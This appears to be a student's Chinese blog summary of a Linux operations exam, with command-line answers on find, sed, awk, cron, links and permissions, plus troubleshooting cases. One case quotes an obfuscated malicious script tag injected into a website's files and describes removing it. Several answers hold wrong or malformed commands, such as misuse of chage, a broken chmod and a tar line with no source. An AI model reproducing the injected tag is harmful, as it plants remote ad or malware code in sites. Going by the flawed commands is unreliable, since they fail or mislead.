2019-03-31 第二次考试总结

 [笔试考试试题命令部分](总满分72分,每题4分)

1.一个目录中有很多文件(ls -l查看时好多屏),想用一条命令最快速度查看到最近更新的文件。如何看?

ls  -rtl

 2.在配置apache服务时 执行了./configure --prefix=/application/apache2.2.17 来编译apche,在make install完成后,希望用户访问apache路径更简单,需要给/application/apache2.2.17目录做一个软链接/application/apache,使得内部开发或管理人员通过/application/apache就可以访问到apache的安装目录/application/apache2.2.17下的内容,请你给出实现的命令。

ln  -s /application/apache2.2.17  /application/apache

 3.已知Nginx服务的访问日志按天记录在服务器本地目录/app/logs下,由于磁盘空间紧张,现在要求只能保留最近7天的访问日志!请问如何解决? 请给解决办法或配置或处理命令。

00 00 * * * /usr/bin/find /app/logs -type f -mtime +7 |xargs rm -f &> /dev/null 或 >/dev/null 2>&1

 00 00 * * * /usr/bin/find /app/logs -type f -mtime +7 –exec rm –f {} \; &> /dev/null 或 >/dev/null 2>&1 

00 00 * * * rm -f $(find /app/logs -type f -mtime +7) &> /dev/null 或 >/dev/null 2>&1

 4.调试系统服务时,希望能实时查看/var/log/messages系统日志的更新,如何做?

tail –f /var/log/message

tail –F

tailf /var/log/messag

 5.打印轻量级web服务的配置文件nginx.conf内容的行号及内容,该如何做?

cat –n nignx.conf 

grep –n ‘.’ nginx.conf 

awk ‘{print NR,$0}’ nginx.conf 

vim :set nu 

sed ‘=’ nginx.conf

 6.已知如下命令及结果: [oldboy@test ~]$ echo "I am oldboy,my qq is 31333741">>oldboy.txt[oldboy@test ~]$ cat oldboy.txtI am oldboy,my qq is 31333741现在需要从文件中过滤出“oldboy”和“31333741”字符串,请给出命令。

grep –Eo ‘oldboy|31333741’ oldboy.txt

egrep –o ‘oldboy|31333741’ oldboy.txt

sed –r ‘s#am (.*),.*is (.*)#\1\2#g’ oldboy.txt

awk –F ‘[ ,]’ ‘{print $3,$NF}’ oldboy.txt


 7.问题:请问在一个命令上加什么参数可以实现下面命令的内容在同一行输出。 echo "oldboy";echo "oldboy" 

echo -n  "oldboy" ;echo "oldboy

 9.查找/oldboy/目录下所有文件,并把文件中的www.etiantian.org 字符串替换成www.oldboyedu.com 

find /oldboy/ -type f |xargs sed ‘s#www.etiantian.org#www.oldboyedu.com#g’

10.过滤出/etc/services 文件包含3306或1521两数据库端口的行的内容。 

grep -E ‘3306|1521’ /etc/services 

egrep ‘3306|1521’ oldboy.txt 

sed –nr ‘/3306|1521/p’ oldboy.txt 

awk ‘/3306|1521/’ oldboy.txt

11.请将ifconfig eth0和ip add结果中的eth0网卡对应ip地址取出(不低于2种方法)。[root@oldboyedu ~]# ifconfig eth0eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500        inet 10.0.0.201  netmask 255.255.255.0  broadcast 10.0.0.255        inet6 fe80::9fdb:66ba:dc7f:3fe5  prefixlen 64  scopeid 0x20<link>[root@oldboyedu ~]# ip add2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000    link/ether 00:0c:29:2a:ca:54 brd ff:ff:ff:ff:ff:ff    inet 10.0.0.201/24 brd 10.0.0.255 scope global noprefixroute eth0


ifconfig eth0|sed -rn 's#.*t (.*) net.*#\1#gp'ifconfig eth0|awk -F'[ :]+' 'NR==2{print $3}'ip addr|awk -F'[ /]+' 'NR==9{print $3}'


12.如何赋予oldboy.txt文件如下权限、用户、用户组属性。-w--rw-rwx. 1 oldboy sa     24 Mar 13 11:46 oldboy.txt


chmod 267 oldboy.txt 

chmod u=w g=rw o=rwx oldboy.txt 

chown oldboy.sa oldboy.txt 

chown oldboy:sa oldboy.txt 

chage sa oldboy.txt


13.某系统管理员需每天做一定的重复工作,请按照下列要求,编写一个解决方案,请按步骤写清楚每一步操作:(1)在下午4:50删除/abc目录下的全部子目录和全部文件。(2)每逢星期一下午五点将/data目录下的所有目录和文件归档并压缩为以当天日期命名的tar.gz结尾打包文件。

(1) 50 16 * * * /bin/rm –rf /abc/* >/dev/null 2>&1 脚本:

 vim shanchu.sh/bin/rm –rf /abc/*或#!/bin/shcd /abc&& rm –rf ./* 

50 16 * * * /bin/sh shanchu.sh >/dev/null 2>&1(2) 00 17 * * 1 /bin/tar zcf ./$(date +\%F).tar.gz >/dev/null 2>&1


 14.如何取得/etc/hosts文件的权限对应的数字内容,如-rw-r--r-- 为644,要求使用命令取得644这样的数字(不低于2种方法)。 

stat  /etc/hosts -c %a 

stat /etc/hosts|awk -F'[0/]' 'NR==4{print $2}'stat /etc/hosts|sed -nr 's#.*\(0(.*)/-.*#\1#gp'

15.Linux下通过mkdir命令创建一个新目录/oldboy/ett,它的硬链接数是多少,为什么?如果在/oldboy/ett下面再创建一个目录test。再问/oldboy/ett的硬链接数是多少?为什么。

2 目录本身是一个硬链接,.

3 目录本身是一个硬链接,.也是一个,..也是一个


 16. 企业故障案例1:(参考问题9)作为运维工程师,你在工作中遇到的一个实际问题,情况是:一个lnmp的服务器,站点目录下所有的文件均被植入了如下内容:<script language=javascript src=http://%4%66E%78%6F%72%67%2E%70%6F/x.js?google_ad=93x28_ad></script>(可用A代替此行内容解答)包括图片文件也被植入了,当用户网站打开时就会调用这个地址,显示一个广告,请问你如何解决。 

第一步:备份 

第二步:grep ‘A’ *find / -type f |xargs sed ‘s#A##g’定位到文件内容后,将其替换掉,确认无误再加-i 参数总结报告并查找故障原因,进行针对性防护

17.请输出当前日期和时间、3天前的日期、未来10天的日期。

date

 date –d “-3 day” +%F 

 date –d “+10 day”


[笔试考试试题理论部分] (总满分28分,每题4分)

1.请说出软链接和硬链接的区别。

硬链接不占用 inode 软连接占用一个 inode

硬链接不可以跨文件系统创建,软链接不影响

删除源文件对硬链接无影响,但是软链接会失效

硬链接不可以给目录创建,软连接行


3.什么是PATH环境变量,它有什么作用?

PATH 是命令的搜索

PATH 可以在其他子 shell 中定义命令的目录路径

4.描述Linux下文件删除的原理?

硬链接数为 0 link 为 0

进程数为 0 icount 为 0

5.企业故障案例2:往磁盘中写入数据出现no space left on device故障,请写出可能原因。

inode 满:定时任务书写有误,导致邮件产生大量小文件,把 inode 占用完了

block 满:df –h  du –sh 定位到大文件,并将其删除

6.企业故障案例3: Tomcat服务器磁盘满了,临时删除对应日志文件但是发现空间未释放,可能原因是?如何解决)。

进程占用,ps –ef|grep delete 相应的服务进程,并将其重启即可释放

7.企业故障案例4:定时任务的脚本手工可以执行,但是放到定时任务里无法执行,可能原因是什么?

原因一:环境变量问题,没有使用绝对路径执行定时任务

原因二:定时任务写错了

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,189评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,577评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,857评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,703评论 1 276
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,705评论 5 366
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,620评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,995评论 3 396
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,656评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,898评论 1 298
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,639评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,720评论 1 330
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,395评论 4 319
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,982评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,953评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,195评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 44,907评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,472评论 2 342

推荐阅读更多精彩内容

  • 第二周考试总结 1.一个目录中有很多文件(ls -l 查看时好多屏),想用一条命令最快速度查看到最近更新的文 件。...
    寻找着光辉阅读 193评论 0 0
  • 1.一个目录中有很多文件(ls -l 查看时好多屏),想用一条命令最快速度查看到最近更新的文 件。如何看? ls ...
    地瓜_fde4阅读 171评论 0 0
  • 1.一个目录中有很多文件(ls -l 查看时好多屏),想用一条命令最快速度查看到最近更新的文 件。如何看? 解答:...
    puurutsjdy阅读 360评论 0 0
  • 1.一个目录中有很多文件(ls -l 查看时好多屏),想用一条命令最快速度查看到最近更新的文件。如何看? ls -...
    唐朝_6f2a阅读 470评论 0 0
  • 1.一个目录中有很多文件(ls -l 查看时好多屏),想用一条命令最快速度查看到最近更新的文件。如何看? ls -...
    王苗_0859阅读 179评论 0 0